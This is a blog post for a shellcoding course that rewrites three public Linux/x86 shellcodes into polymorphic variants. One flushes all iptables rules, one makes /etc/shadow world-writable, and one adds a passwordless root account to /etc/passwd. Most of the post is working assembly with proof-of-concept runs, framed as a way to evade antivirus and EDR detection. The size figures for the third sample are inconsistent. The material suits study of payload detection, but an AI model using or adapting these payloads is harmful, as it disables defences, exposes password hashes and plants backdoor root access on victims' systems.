SLAE32 - Shellcode Polymorphism
Introduction
In this blog post we will be discussing how publicly available shellcode samples, can be modified in order to generate copies of them, with a different form but with the same functionality.
In general, this technique alone, is not sufficient to bypass AV/EDR solutions currently in use, since they don’t rely only on static analysis. At the same time, generating polymorphic variations of the shellcode, if done in conjunction with other obfuscation techniques, may help in staying under the radar.
Shellcode sample #1
The shellcode can be used to delete every rule in every iptables chain, by calling the iptables binary with the -F
(flush) option.
- Source: Shellstorm
- Author: /rootteam/dev0id
- Shellcode size: 58 bytes
- Architecture: Linux/x86
- Command:
/sbin/iptables -F
Below is the original shellcode sample taken from shell-storm. As we done with in previous episodes of the Linux x86 shellcoding series, we can go over each instruction, and add a comment to describe what it does.
global _start
section .text
_start:
jmp short callme
main:
pop esi ; pointer to buffer with command string
xor eax, eax ; reset eax
mov byte [esi+14], al ; replace '#' with \x00
mov byte [esi+17], al ; replace '#' with \x00
mov long [esi+18], esi ; *filepath (4 byte address)
lea ebx, [esi+15] ; /sbin/iptables
mov long [esi+22], ebx
mov long [esi+26], eax
mov al, 0x0b ; execve syscall
mov ebx, esi ; 1st arg: *filepath
lea ecx, [esi+18] ; 2nd arg: [*filepath, "-F"]
lea edx, [esi+26] ; 3rd arg: 0x00000000
int 0x80
callme:
call main
db '/sbin/iptables#-F#' ; string length: 18
Polymorphic version
A variation of the original shellcode has been obtained by pushing the /sbin/iptables#-F
string to the stack (in reverse), instead of using the jmp-call-pop
technique.
global _start
section .text
_start:
; push 0x00000000 to stack for envp[]
xor eax, eax
push eax
mov edx, esp ; 3rd arg: envp[] = NULL
; push "///sbin//iptables#-F' string to stack
push 0x462d2373 ; 'F-#s'
push 0x656c6261 ; 'elba'
push 0x7470692f ; 'tpi/'
push 0x2f6e6962 ; '/nib'
push 0x732f2f2f ; 's///'
; replace '#' with null byte
mov byte [esp+17], al
mov ebx, esp ; 1st arg: *filename
; 2nd arg: *argv = [**filename, *"-F\0", NULL]
; pushed in reverse (right to left)
xor eax, eax
push eax
lea ecx, [ebx+18]
push ecx
push ebx
mov ecx, esp
mov al, 0xb
int 0x80
Proof-of-Concept
With the shellcode ready, we now need to test if it’s actually capable of flushing all existing iptables rules. To do so, we can now add a new rule to the INPUT chain, that drops all ICMP packets coming from 192.168.56.101
.
$ sudo /sbin/iptables -A INPUT -p icmp -s 192.168.56.101 -j DROP
$ sudo /sbin/iptables -L INPUT
Chain INPUT (policy ACCEPT)
target prot opt source destination
DROP icmp -- 192.168.56.101 anywhere
We can then run compile.sh
script, and run the executable.
$ sudo ./run_sc
Shellcode length: 51 bytes
$ sudo /sbin/iptables -L INPUT
Chain INPUT (policy ACCEPT)
target prot opt source destination
Great! The shellcode is working, and its size has been reduced from 58 bytes to 51 bytes (~12.1% decrement).
Shellcode sample #2
The shellcode can be used to change the permissions for /etc/shadow
so that all users have RWX permissions over it.
- Source: Shellstorm
- Author: Osanda Malith Jayathissa (@OsandaMalith)
- Shellcode size: 51 bytes
- Architecture: Linux/x86
- Command:
chmod 0777 /etc/shadow
Below is the original shellcode sample taken from shell-storm, with comments added to describe what each instruction does.
section .text
global _start
_start:
mov ebx, eax ; junk
xor eax, ebx ; reset eax
push dword eax ; push 0x00000000 (NULL)
mov esi, 0x563a1f3e
add esi, 0x21354523 ; ESI = 0x776F6461
mov dword [esp-4], esi ; push 0x776F6461 "/etc//shadowadow"
mov dword [esp-8], 0x68732f2f ; push 0x68732f2f Length: 16 but 12/16 used
mov dword [esp-12], 0x6374652f ; push 0x6374652f
sub esp, 12 ; manual stack alignment (since push hasn't been used)
mov ebx,esp ; EBX point to stack with args
push word 0x1ff
pop cx ; ECX = 0x000001ff = 777 in octal
mov al,0xf ; chmod syscall
int 0x80
On Linux, file permissions can be modified with the chmod
system call. We can read its manual entry with man 2 chmod
.
The most important part to look at is the function signature, which shows all the arguments that should be given to the function.
int chmod(const char *pathname, mode_t mode);
The function takes in a pointer to the string with the filename, and the access mask.
Polymorphic version
To create a polymorphic variation of the original shellcode, we can once again refactor the assembly code with the target filename pushed on the stack in reverse, move the bit mask to cx
, and use the chmod
syscall.
global _start
section .text
_start:
xor eax, eax
mov ecx, eax
push 0x23776f64 ; '#wod'
push 0x6168732f ; 'ahs/'
push 0x6374652f ; 'cte/'
mov byte [esp+11], al ; replace '#' with \0
mov ebx, esp ; pointer to pathname
mov word cx, 0x1ff ; set mode to 777
mov al, 0xf ; chmod syscall
int 0x80
Proof-of-Concept
Original /etc/shadow
permissions
$ stat /etc/shadow | grep Access | head -n1
Access: (0640/-rw-r-----) Uid: ( 0/ root) Gid: ( 42/ shadow)
After the shellcode is executed:
$ sudo ./run_sc
Shellcode length: 34 bytes
$ stat /etc/shadow | grep Access | head -n1
Access: (0777/-rwxrwxrwx) Uid: ( 0/ root) Gid: ( 42/ shadow)
Everything is still working as expected and the shellcode size has been reduced from 51 bytes to 34 bytes (33.3% decrement).
Shellcode sample #3
The following shellcode sample, once again take from shell-storm, appends a new line to /etc/passwd
to add a new local user (named r00t
) with root permissions.
- Source: [Shellstorm]http://shell-storm.org/shellcode/files/shellcode-211.php)
- Author: Kris Katterjohn
- Shellcode size: 69 bytes
- Architecture: Linux/x86
- Command:
write("/etc/passwd", "r00t::0:0:::", 12)
section .text
global _start
_start:
; open("/etc//passwd", O_WRONLY | O_APPEND)
push byte 5
pop eax ; open syscall
xor ecx, ecx ; reset ecx
push ecx ; push NULL
push 0x64777373 ;
push 0x61702f2f ;
push 0x6374652f ; 1st arg: EBX = pointer to "/etc//passwd" string on stack
mov ebx, esp ;
mov cx, 02001Q ; 2nd arg: ECX = 2001 (Q=octal in NASM)
int 0x80
mov ebx, eax ; store file handle in EBX for later use
; write(ebx, "r00t::0:0:::", 12)
; 1st arg: EBX = pointer to "/etc//passwd" string on stack
push byte 4
pop eax ; write syscall
xor edx, edx ; reset edx
push edx ; push NULL
push 0x3a3a3a30 ;
push 0x3a303a3a ;
push 0x74303072 ;
mov ecx, esp ; 2nd arg: ECX = pointer to "r00t::0..." string on stack
push byte 12
pop edx ; EDX = 0xC
int 0x80
; close(ebx)
push byte 6
pop eax ; close syscall
int 0x80
; exit()
push byte 1
pop eax ; exit syscall
int 0x80
Polymorphic version
global _start
section .text
_start:
; reset registers (w/ mild obfuscation)
mov ebx, 0x9e2aab3e
add ebx, 0x61d554c2
mul ebx ; sets EBX=0, EDX=0
mov ecx, eax
; open("/etc//passwd", O_WRONLY | O_APPEND)
push edx ; push NULL
push 0x64777373 ; "dwss"
push 0x9e8fd0d0 ; NOT("ap//")
push 0x6374652f ; "cte/"
mov ebx, esp
mov cx, 02001Q
mov al, 0x05
not dword [esp+4] ; decode middle 4 bytes of the filepath string
int 0x80
mov ebx, eax ; store file handle in EBX for later use
; write(ebx, "r00t::0:0:::", 12)
mov eax, edx ; reset EAX
push eax
push 0x3a3a3a30 ; "r00t::0..."
push 0x3a303a3a ;
push 0x74303072 ;
mov ecx, esp ; pointer to "r00t::0..." string on stack
mov dl, 0xC
mov al, 0x04
int 0x80
; close(ebx)
xor eax, eax
mov al, 0x06 ; close syscall
int 0x80
; exit()
mov al, 0x01
int 0x80
Proof-of-Concept
Before the shellcode is run, there is no r00t
user.
$ cat /etc/passwd | grep r00t
After the shellcode is run by root
, a new entry for user r00t
is added to /etc/passwd
.
# ./run_sc
Shellcode length: 84 bytes
$ cat /etc/passwd | grep r00t
r00t::0:0:::
The new shellcode size is 85 bytes, which is a ~31.25% increment in size, compared to the original shellcode, which was 69 bytes long.
Wrapping Up
In this post we have experimented with creating polymorphic version of publicly available shellcode samples, without increasing their sie too much. As always, if you want to check out the polymorphic samples and the scripts created to complete this assignmnet, you can refer to the following repository in my Github.
Thank you for reading!